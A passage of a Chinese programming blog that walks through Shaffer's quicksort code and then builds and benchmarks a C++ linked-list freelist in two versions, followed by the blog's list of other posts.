    swap(A, pivotindex, j); // Put pivot at end
    // k will be the first position in the right subarray
    int k = partition<E, Comp>(A, i - 1, j, A[j]);
    swap(A, k, j); // Put pivot in place
    qsort<E, Comp>(A, i, k - 1);
    qsort<E, Comp>(A, k + 1, j);
}

它首先检验了排序区域，如果长度小于等于1，则没必要进行排序，直接return。

然后，使用 findpivot 函数确定枢轴，保存在pivotindex里。这个函数是这样的：

cpp

template <typename E>
inline int findpivot(E A[], int i, int j)
{
    return (i + j) / 2;
}

简单来说，就是取整个区间中间位置的值来返回。这么说的话，好像根本没必要传进A数组……

之后，用 swap(A,pivotindex,j); 语句来将j与区间内最后一个元素交换。

后面调用的 partition 函数，执行的就是i和j向左向右移动的过程。

cpp

template <typename E, typename Comp>
inline int partition(E A[], int l, int r, E &pivot)
{
    do
    { // Move the bounds inward until they meet
        while (Comp::prior(A[++l], pivot))
            ; // Move l right and
        while ((l < r) && Comp::prior(pivot, A[--r]))
            ;          // r left
        swap(A, l, r); // Swap out-of-place values
    } while (l < r);   // Stop when they cross
    return l;          // Return first position in right partition
}

这里的 Comp 类内含一个比较函数，能够比较两个对象的大小，如果前面的比后面小则返回true。

当 A[i] 小于枢轴值的时候向右移，这样就会停在第一个比枢轴大（或相等）的数上；这之后，当 A[j] 大于枢轴值且没有越过l的时候向左移，于是停在i上或者从右往左第一个比枢轴小的数上。

极端情况下，如果枢轴就是最大的，那么i和j就会停在枢轴上；如果枢轴是最小的，那就会停在最左边。

然后，将i和j相遇的位置返回，记为k，它就是枢轴所应该呆在的位置。执行swap，将枢轴换上来。

这之后执行二分，分别将当前区间的枢轴左半边和枢轴右半边作为新区间进行快速排序操作即可。

附录

这里推荐一个工具，能够用动画形式展示自定义例子的快速排序过程：OpenDSA - 快速排序（英文）。它的内容与Shaffer的教材基本相同，毕竟Shaffer先生就是Virginia Tech的教授。

向下翻到Quicksort Visualization，可以输入自己的样例，分步观察排序过程；在它的下方，有一个小练习，可以手动模拟过程，检验学习效果。

可利用空间表（freelist）

Fri, 12 Mar 2021 00:00:00 +0000

在一开始，我们先用Virginia Tech的一段文字，对可利用空间表有一个初步的了解。

链表中节点的创建与删除方法，给了使用它的人一个简单而有效的管理内存的办法。Link类可以维护自己的可利用空间表，而不是频繁地调用new函数。一个可利用空间表存储着目前没有被使用的节点内存空间。当一个元素被从链表中释放的时候，它会被移至可利用空间表的头部。当把一个新元素插入链表中的时候，程序可以先检查可利用空间表中有没有可用的元素。如果有的话，会直接提取出那个元素；如果没有，再使用传统的new函数来申请一块空间。所以说，可利用空间表只是链表的一种应用。

对于周期性增减的链表来说，可利用空间表尤其有用。除非链表的大小达到空间上限，可利用空间表所需的空间就永远不会增加。当链表释放元素之后，对新元素的需求可以直接由可利用空间表来处理。当一个程序使用多个链表的时候，也不妨使用可利用空间表。这样，只要这几个链表不同时变长或变短，可利用空间表就可以让节点在链表之间转移（而非重复调用new和delete函数，无端地消耗时间）。

在下面的例子中，Link类增加了get和release函数。

弗吉尼亚理工大学的课程数据结构与算法：可利用空间表

cpp

class Link<E> {      // 单链表节点，使用了可利用空间表
  private E e;       // 该节点的值
  private Link<E> n;    // 后继引用

  // 构造函数
  Link(E it, Link<E> inn) {e = it; n = inn;}
  Link(Link<E> inn) {e = null; n = inn;}

  E element() { return e;}                        // 返回节点的值
  E setElement(E it) {return e = it;}            // 修改节点的值
  Link<E> next() { return n;}                     // 返回后继引用
  Link<E> setNext(Link<E> inn) {return n = inn;} // 修改后继

  // 增加 freelist 支持
  private static Link freelist = null;                  // 该类的可利用空间表

  // 如果表中有可用节点，返回它
  static <E> Link<E> get(E it, Link<E> inn) {
    if (freelist == null)
      return new Link<E>(it, inn);                 // new 一个 link
    Link<E> temp = freelist;                       // 从 freelist 中取出
    freelist = freelist.next();
    temp.setElement(it);
    temp.setNext(inn);
    return temp;
  }

  // 将一个节点存入表中
  void release() {
    e = null;   // 取消对该节点的引用
    n = freelist;
    freelist = this;
  }
}

freelist变量的声明使用了static关键字。它可以创建一个由所有Link节点共用的对象。

请注意它有多么的简单，因为它们仅需要各自在表的前端移除或添加元素。可利用空间表的get和release函数的时间复杂度都为 Θ(1) ，除非表空了，必须调用new函数。为了适配可利用空间表版本的节点，我们要对链表类做一些必要的改动。

弗吉尼亚理工大学的课程数据结构与算法：可利用空间表

cpp

  // 在当前位置插入 “it”
  public boolean insert(E it) {
    curr.setNext(Link.get(curr.element(), curr.next())); // 得到 link
    curr.setElement(it);
    if (tail == curr) tail = curr.next();    // 新的链表尾
    listSize++;
    return true;
  }

  // 将 “it” 推到链表中
  public boolean append(E it) {
    Link<E> temp = Link.get(null, null);
    tail.setNext(temp);
    tail.setElement(it);
    tail = tail.next();
    listSize++;
    return true;
  }

  // 将当前位置的元素移除并返回
  public E remove () {
    if (curr == tail) return null;          // 没有什么能移除的
    E it = curr.element();                  // 存储元素的值
    curr.setElement(curr.next().element()); // 将下一个元素往前移一位
    if (curr.next() == tail) tail = curr;   // 要是删除了链表尾元素，还需要修改表尾
    Link<E> tempptr = curr.next();          // 存储待删除节点的位置
    curr.setNext(curr.next().next());       // 修改前一位的指针，往后指一位
    tempptr.release();                      // 将待删除结点释放
    listSize--;                             // 链表长度 - 1
    return it;                              // 返回删除的节点值
  }

使用可利用空间表能够节省多长时间，取决于你用什么语言编写代码。对于C++ 这种语言，程序员必须使用new和delete函数来管理内存空间，从可利用空间表中取出节点只花费了使用new函数方法的不到十分之一时间。对于Java这种有垃圾清理的语言，最初似乎你使用可利用空间表不会节省多少时间，因为Java的new函数能够快速的从它的存储池中返回内存空间。然而，要是你不用可利用空间表，释放节点会产生垃圾，而这需要大量的回收垃圾的时间。

弗吉尼亚理工大学的课程数据结构与算法：可利用空间表

仿照这种思路，我信心满满地在Clifford A. Shaffer的《数据结构与算法分析第三版》链表实现线性表基础上，写成了一个可利用空间表类——很遗憾，这个并不能实现上述的多个链表之间共享节点的功能。嗯，坦白说，我并没有看懂前面的Java代码就开始上手写C++ 了。

需要特别注意的是，原书中的代码有一个问题：在 moveToEnd() 之后，curr 指针指向的是tail，而输出的时候输出的是 curr 的后继的值。已经改正。

cpp

//freelist.h
#include <stack>
#include "list\_adt.h"
using namespace std;
#ifndef LINK
#define LINK
template <typename E>
class Link //node 的实现
{
public:
    E element;
    Link \*next;
    Link(const E &elemval, Link \*nextval = NULL)
    {
        element = elemval;
        next = nextval;
    }
    Link(Link \*nextval = NULL)
    {
        next = nextval;
    }
};
#endif
#ifndef FREELIST\_H
#define FREELIST\_H
template <typename E>
class Freelist : public List<E>
{
private:
    stack<Link<E> \*> spareElem; // 存放暂时不用的元素地址
    Link<E> \*head;              // 头指针
    Link<E> \*tail;              // 尾指针
    Link<E> \*curr;              // 当前位置的前驱节点
    int cnt;
    Link<E> \*getNewElem() // 获取一个新元素的地址
    {
        Link<E> \*temp;
        if (spareElem.empty()) // 可利用空间表中无元素
        {
            temp = new Link<E>;
        }
        else // 还有元素，可以直接传过来地址
        {
            temp = spareElem.top();
            spareElem.pop();
        }
        return temp;
    }
    void init() // 初始化链表，只有一个 head 元素
    {
        curr = tail = head = getNewElem();
        cnt = 0;
    }
    void removeall() // 清空链表
    {
        while (head != NULL)
        {
            curr = head;
            head = head->next;
            spareElem.push(curr);
        }
    }

public:
    Freelist(int size = 65536)
    {
        init();
    }
    ~Freelist()
    {
        removeall();
    }
    void clear() // 清空链表并初始化
    {
        removeall();
        init();
    }
    void insert(const E &it) // 插入元素
    {
        curr->next = getNewElem();
        curr->next->element = it;
        tail->next->next = NULL;
        if (tail == curr)
        {
            tail = curr->next;
        }
        cnt++;
    }
    void append(const E &it) // 在最后添加元素
    {
        tail->next = getNewElem();
        tail->next->element = it;
        tail->next->next = NULL;
        tail = tail->next;
        cnt++;
    }
    E remove() // 删除当前位置的元素
    {
        E it = curr->next->element;
        Link<E> \*ltemp = curr->next;
        if (tail == curr->next)
        {
            tail = curr;
        }
        curr->next = curr->next->next;
        spareElem.push(ltemp);
        cnt--;
        return it;
    }
    void moveToStart() // 移至头部
    {
        curr = head;
    }
    void moveToEnd() // 移至尾部
    {
        curr = tail;
        prev(); //curr 最后必须是 tail 的前驱才行
    }
    void prev() // 左移一位
    {
        if (curr == head)
        {
            return;
        }
        Link<E> \*temp = head;
        while (temp->next != curr)
        {
            temp = temp->next;
        }
        curr = temp;
    }
    void next() // 右移一位
    {
        if (curr != tail)
        {
            curr = curr->next;
        }
    }
    int length() const // 返回长度
    {
        return cnt;
    }
    int currPos() const // 返回当前位置
    {
        Link<E> \*temp = head;
        int i = 1;
        for (i = 0; curr != temp; i++)
        {
            temp = temp->next;
        }
        return i;
    }
    void moveToPos(int pos) // 移动至指定位置
    {
        //Assert((pos>=0)&&(pos<=cnt),"Position Out of Range");
        curr = head;
        for (int i = 0; i < pos; i++)
        {
            curr = curr->next;
        }
    }
    const E &getValue() const // 返回当前位置的值
    {
        //Assert(curr->next!=NULL,"No Value");
        return curr->next->element;
    }
};
#endif

//freelist.h
#include <stack>
#include "list\_adt.h"
using namespace std;
#ifndef LINK
#define LINK
template <typename E>
class Link //node 的实现
{
public:
    E element;
    Link \*next;
    Link(const E &elemval, Link \*nextval = NULL)
    {
        element = elemval;
        next = nextval;
    }
    Link(Link \*nextval = NULL)
    {
        next = nextval;
    }
};
#endif
#ifndef FREELIST\_H
#define FREELIST\_H
template <typename E>
class Freelist : public List<E>
{
private:
    stack<Link<E> \*> spareElem; // 存放暂时不用的元素地址
    Link<E> \*head;              // 头指针
    Link<E> \*tail;              // 尾指针
    Link<E> \*curr;              // 当前位置的前驱节点
    int cnt;
    Link<E> \*getNewElem() // 获取一个新元素的地址
    {
        Link<E> \*temp;
        if (spareElem.empty()) // 可利用空间表中无元素
        {
            temp = new Link<E>;
        }
        else // 还有元素，可以直接传过来地址
        {
            temp = spareElem.top();
            spareElem.pop();
        }
        return temp;
    }
    void init() // 初始化链表，只有一个 head 元素
    {
        curr = tail = head = getNewElem();
        cnt = 0;
    }
    void removeall() // 清空链表
    {
        while (head != NULL)
        {
            curr = head;
            head = head->next;
            spareElem.push(curr);
        }
    }

public:
    Freelist(int size = 65536)
    {
        init();
    }
    ~Freelist()
    {
        removeall();
    }
    void clear() // 清空链表并初始化
    {
        removeall();
        init();
    }
    void insert(const E &it) // 插入元素
    {
        curr->next = getNewElem();
        curr->next->element = it;
        tail->next->next = NULL;
        if (tail == curr)
        {
            tail = curr->next;
        }
        cnt++;
    }
    void append(const E &it) // 在最后添加元素
    {
        tail->next = getNewElem();
        tail->next->element = it;
        tail->next->next = NULL;
        tail = tail->next;
        cnt++;
    }
    E remove() // 删除当前位置的元素
    {
        E it = curr->next->element;
        Link<E> \*ltemp = curr->next;
        if (tail == curr->next)
        {
            tail = curr;
        }
        curr->next = curr->next->next;
        spareElem.push(ltemp);
        cnt--;
        return it;
    }
    void moveToStart() // 移至头部
    {
        curr = head;
    }
    void moveToEnd() // 移至尾部
    {
        curr = tail;
        prev(); //curr 最后必须是 tail 的前驱才行
    }
    void prev() // 左移一位
    {
        if (curr == head)
        {
            return;
        }
        Link<E> \*temp = head;
        while (temp->next != curr)
        {
            temp = temp->next;
        }
        curr = temp;
    }
    void next() // 右移一位
    {
        if (curr != tail)
        {
            curr = curr->next;
        }
    }
    int length() const // 返回长度
    {
        return cnt;
    }
    int currPos() const // 返回当前位置
    {
        Link<E> \*temp = head;
        int i = 1;
        for (i = 0; curr != temp; i++)
        {
            temp = temp->next;
        }
        return i;
    }
    void moveToPos(int pos) // 移动至指定位置
    {
        //Assert((pos>=0)&&(pos<=cnt),"Position Out of Range");
        curr = head;
        for (int i = 0; i < pos; i++)
        {
            curr = curr->next;
        }
    }
    const E &getValue() const // 返回当前位置的值
    {
        //Assert(curr->next!=NULL,"No Value");
        return curr->next->element;
    }
};
#endif

为了探究可利用空间表的效果，我写了一段程序进行推入、清空，再推入的操作，并测定运行时间。

cpp

#include <cstdio>
#include <ctime>
#include <cstdlib>
#include <iostream>
#include "freelist.h"
#include "linklist.h"
using namespace std;

int main()
{
    printf("=============LINKLIST============\\n");
    LList<int> l;
    srand(time(NULL));
    clock\_t stage1, stage2, stage3;
    stage1 = clock();
    for (int i = 0; i < 10000000; i++)
    {
        l.append(0);
    }
    while (!l.empty()) // 这里将链表全部清空
    {
        l.moveToStart();
        l.remove();
    }
    stage2 = clock();
    for (int i = 0; i < 10000000; i++)
    {
        l.append(rand());
    }
    stage3 = clock();
    double dur1, dur2;
    dur1 = (stage2 - stage1) \* 1.0 / CLOCKS\_PER\_SEC;
    dur2 = (stage3 - stage2) \* 1.0 / CLOCKS\_PER\_SEC;
    printf("Append & Clear Consumption:%lf\\nRe-append Consumption:%lf\\n", dur1, dur2);
    printf("=============FREELIST============\\n");
    Freelist<int> f;
    srand(time(NULL));
    stage1 = clock();
    for (int i = 0; i < 10000000; i++)
    {
        f.append(0);
    }
    while (!f.empty())
    {
        f.moveToStart();
        f.remove();
    }
    stage2 = clock();
    for (int i = 0; i < 10000000; i++)
    {
        f.append(rand());
    }
    stage3 = clock();
    dur1 = (stage2 - stage1) \* 1.0 / CLOCKS\_PER\_SEC;
    dur2 = (stage3 - stage2) \* 1.0 / CLOCKS\_PER\_SEC;
    printf("Append & Clear Consumption:%lf\\nRe-append Consumption:%lf\\n", dur1, dur2);
}

这篇文章到这里似乎就结束了？并没有，你看到滚动条就会发现不对劲。结果很尴尬，这样的可利用空间表，比普通的链表还要慢上不少…… 这次甚至还是最快的结果。

就这样把这个问题搁了好几天，我突然想到了原因。在将元素推进可利用空间表的时候，STL <stack> 需要再new一个Link指针，指向原来的空间；推出的时候，也需要类似于delete的操作——这样，不仅没有省下new和delete的时间，反而徒增了赋值的时间代价。虽然我也不明白，为什么会慢这么多……

下面我画了2张图，以删除节点为例，来描述我的前后两种理解。

我还意识到，闲置的结点，实际上是可以自行重新连接成链的，只需要维护一个栈顶指针即可。这样就不需要再new空间了。

少废话，上代码。

cpp

//freelist.h
#include "list\_adt.h"
#include <stack>
using namespace std;
#ifndef LINK
#define LINK
template <typename E>
class Link //node 的实现
{
public:
    E element;
    Link \*next;
    Link(const E &elemval, Link \*nextval = NULL)
    {
        element = elemval;
        next = nextval;
    }
    Link(Link \*nextval = NULL)
    {
        next = nextval;
    }
};
#endif
#ifndef FREELIST\_H
#define FREELIST\_H
template <typename E>
class Freelist : public List<E>
{
private:
    Link<E> \*freelist = nullptr; // 可利用空间表的栈顶指针
    Link<E> \*head;               // 头指针
    Link<E> \*tail;               // 尾指针
    Link<E> \*curr;               // 当前位置的前驱节点
    int cnt;
    Link<E> \*getNewElem() // 获取一个新元素的地址
    {
        if (freelist == nullptr) // 空的
        {
            return new Link<E>;
        }
        else
        {
            Link<E> \*temp = freelist;
            freelist = freelist->next;
            return temp;
        }
    }
    void abandonElem(Link<E> \*tgt)// 将一个元素移至可利用空间表中
    {
        tgt->next = freelist;
        freelist = tgt;
    }
    void init() // 初始化链表，只有一个 head 元素
    {
        curr = tail = head = getNewElem();
        cnt = 0;
    }
    void removeall() // 清空链表
    {
        while (head != NULL)
        {
            curr = head;
            head = head->next;
            abandonElem(curr);
        }
    }

public:
    Freelist(int size = 65536)
    {
        init();
    }
    ~Freelist()
    {
        removeall();
        Link<E> \*temp;
        while (freelist != nullptr) // 程序结束的时候析构，要把没有利用的结点也全都释放掉
        {
            temp = freelist;
            freelist = freelist->next;
            delete temp;
        }
    }
    void clear() // 清空链表并初始化
    {
        removeall();
        init();
    }
    bool empty()
    {
        if (head == tail)
        {
            return true;
        }
        else
        {
            return false;
        }
    }
    void insert(const E &it) // 插入元素
    {
        curr->next = getNewElem();
        curr->next->element = it;
        tail->next->next = NULL;
        if (tail == curr)
        {
            tail = curr->next;
        }
        cnt++;
    }
    void append(const E &it) // 在最后添加元素
    {
        tail->next = getNewElem();
        tail->next->element = it;
        tail->next->next = NULL;
        tail = tail->next;
        cnt++;
    }
    E remove() // 删除当前位置的元素
    {
        E it = curr->next->element;
        Link<E> \*ltemp = curr->next;
        if (tail == curr->next)
        {
            tail = curr;
        }
        curr->next = curr->next->next;
        abandonElem(ltemp);
        cnt--;
        return it;
    }
    void moveToStart() // 移至头部
    {
        curr = head;
    }
    void moveToEnd() // 移至尾部
    {
        curr = tail;
        prev(); //curr 最后必须是 tail 的前驱才行
    }
    void prev() // 左移一位
    {
        if (curr == head)
        {
            return;
        }
        Link<E> \*temp = head;
        while (temp->next != curr)
        {
            temp = temp->next;
        }
        curr = temp;
    }
    void next() // 右移一位
    {
        if (curr != tail)
        {
            curr = curr->next;
        }
    }
    int length() const // 返回长度
    {
        return cnt;
    }
    int currPos() const // 返回当前位置
    {
        Link<E> \*temp = head;
        int i = 1;
        for (i = 0; curr != temp; i++)
        {
            temp = temp->next;
        }
        return i;
    }
    void moveToPos(int pos) // 移动至指定位置
    {
        //Assert((pos>=0)&&(pos<=cnt),"Position Out of Range");
        curr = head;
        for (int i = 0; i < pos; i++)
        {
            curr = curr->next;
        }
    }
    const E &getValue() const // 返回当前位置的值
    {
        //Assert(curr->next!=NULL,"No Value");
        return curr->next->element;
    }
};
#endif

//freelist.h
#include "list\_adt.h"
#include <stack>
using namespace std;
#ifndef LINK
#define LINK
template <typename E>
class Link //node 的实现
{
public:
    E element;
    Link \*next;
    Link(const E &elemval, Link \*nextval = NULL)
    {
        element = elemval;
        next = nextval;
    }
    Link(Link \*nextval = NULL)
    {
        next = nextval;
    }
};
#endif
#ifndef FREELIST\_H
#define FREELIST\_H
template <typename E>
class Freelist : public List<E>
{
private:
    Link<E> \*freelist = nullptr; // 可利用空间表的栈顶指针
    Link<E> \*head;               // 头指针
    Link<E> \*tail;               // 尾指针
    Link<E> \*curr;               // 当前位置的前驱节点
    int cnt;
    Link<E> \*getNewElem() // 获取一个新元素的地址
    {
        if (freelist == nullptr) // 空的
        {
            return new Link<E>;
        }
        else
        {
            Link<E> \*temp = freelist;
            freelist = freelist->next;
            return temp;
        }
    }
    void abandonElem(Link<E> \*tgt)// 将一个元素移至可利用空间表中
    {
        tgt->next = freelist;
        freelist = tgt;
    }
    void init() // 初始化链表，只有一个 head 元素
    {
        curr = tail = head = getNewElem();
        cnt = 0;
    }
    void removeall() // 清空链表
    {
        while (head != NULL)
        {
            curr = head;
            head = head->next;
            abandonElem(curr);
        }
    }

public:
    Freelist(int size = 65536)
    {
        init();
    }
    ~Freelist()
    {
        removeall();
        Link<E> \*temp;
        while (freelist != nullptr) // 程序结束的时候析构，要把没有利用的结点也全都释放掉
        {
            temp = freelist;
            freelist = freelist->next;
            delete temp;
        }
    }
    void clear() // 清空链表并初始化
    {
        removeall();
        init();
    }
    bool empty()
    {
        if (head == tail)
        {
            return true;
        }
        else
        {
            return false;
        }
    }
    void insert(const E &it) // 插入元素
    {
        curr->next = getNewElem();
        curr->next->element = it;
        tail->next->next = NULL;
        if (tail == curr)
        {
            tail = curr->next;
        }
        cnt++;
    }
    void append(const E &it) // 在最后添加元素
    {
        tail->next = getNewElem();
        tail->next->element = it;
        tail->next->next = NULL;
        tail = tail->next;
        cnt++;
    }
    E remove() // 删除当前位置的元素
    {
        E it = curr->next->element;
        Link<E> \*ltemp = curr->next;
        if (tail == curr->next)
        {
            tail = curr;
        }
        curr->next = curr->next->next;
        abandonElem(ltemp);
        cnt--;
        return it;
    }
    void moveToStart() // 移至头部
    {
        curr = head;
    }
    void moveToEnd() // 移至尾部
    {
        curr = tail;
        prev(); //curr 最后必须是 tail 的前驱才行
    }
    void prev() // 左移一位
    {
        if (curr == head)
        {
            return;
        }
        Link<E> \*temp = head;
        while (temp->next != curr)
        {
            temp = temp->next;
        }
        curr = temp;
    }
    void next() // 右移一位
    {
        if (curr != tail)
        {
            curr = curr->next;
        }
    }
    int length() const // 返回长度
    {
        return cnt;
    }
    int currPos() const // 返回当前位置
    {
        Link<E> \*temp = head;
        int i = 1;
        for (i = 0; curr != temp; i++)
        {
            temp = temp->next;
        }
        return i;
    }
    void moveToPos(int pos) // 移动至指定位置
    {
        //Assert((pos>=0)&&(pos<=cnt),"Position Out of Range");
        curr = head;
        for (int i = 0; i < pos; i++)
        {
            curr = curr->next;
        }
    }
    const E &getValue() const // 返回当前位置的值
    {
        //Assert(curr->next!=NULL,"No Value");
        return curr->next->element;
    }
};
#endif

时间很喜人。在Windows下，时间对比如图，可以看到可利用空间表用时大幅度领先：

而在Linux（Ubuntu 20.04.2，WSL2）下，优势都小了一些，但是重新添加元素过程的优势仍然十分明显。

INF	INF	1	INF	1	1
INF	INF	INF	INF	1	1
INF	INF	INF	1	1	INF
INF	INF	INF	INF	INF	INF
INF	INF	INF	INF	INF	1
INF	INF	INF	INF	INF	INF

INF	INF	1	INF	1	1
INF	INF	INF	INF	1	1
INF	INF	INF	1	1	INF
INF	INF	INF	INF	INF	INF
INF	INF	INF	INF	INF	1
INF	INF	INF	INF	INF	INF

课程 on cyp0633's Blog

ns-3 入门 5：追踪

简单的示例代码

使用 Config 子系统

ns-3 入门 4：构建拓扑

总线拓扑

模型、属性和现实

构建无线拓扑

记录STA移动轨迹

ns-3中的队列

ns-3 入门 3：日志、命令参数和跟踪

日志

日志级别

设置级别

日志前缀

记录日志

命令参数

自带参数

自定义参数

跟踪

ASCII跟踪

PCAP跟踪

ns-3 入门 2：概念与第一个示例

概念

节点 Node

网络设备 Net Device

信道 Channel

应用 Application

代码示例

头文件

日志

命名空间

模拟器

编译

ns-3 入门 1：介绍与安装

介绍

下载

编译

安装

USTC Hackergame 2023 个人 Writeup

Hackergame启动

猫咪小测

更深更暗

旅行照片3.0

赛博井字棋

组委会模拟器

HNU 软件编译原理实验 4（Go 实现）

语法分析

符号表

语义分析

代码生成

语句

表达式

HNU 软件编译原理实验 3（Go 实现）

TINY语言

词法分析器

getNextChar

ungetNextToken

GetToken

HNU 软件编译原理实验 2（Go 实现）

数据结构

产生式

LL(1)

LR(0)

方法

产生式

LL(1)

LR(0)

HNU 软件编译原理实验 1（Go 实现）

从 “最简DFA构造法” 说起

连接

Kleene闭包

0或1个 $s?$

并 $s|t$

数据结构

字符集

正则表达式

图（NFA、DFA）

方法

字符集

使用 `Config` 子系统

`getNextChar`

`ungetNextToken`

`GetToken`

INF	INF	1	INF	1	1
INF	INF	INF	INF	1	1
INF	INF	INF	1	1	INF
INF	INF	INF	INF	INF	INF
INF	INF	INF	INF	INF	1
INF	INF	INF	INF	INF	INF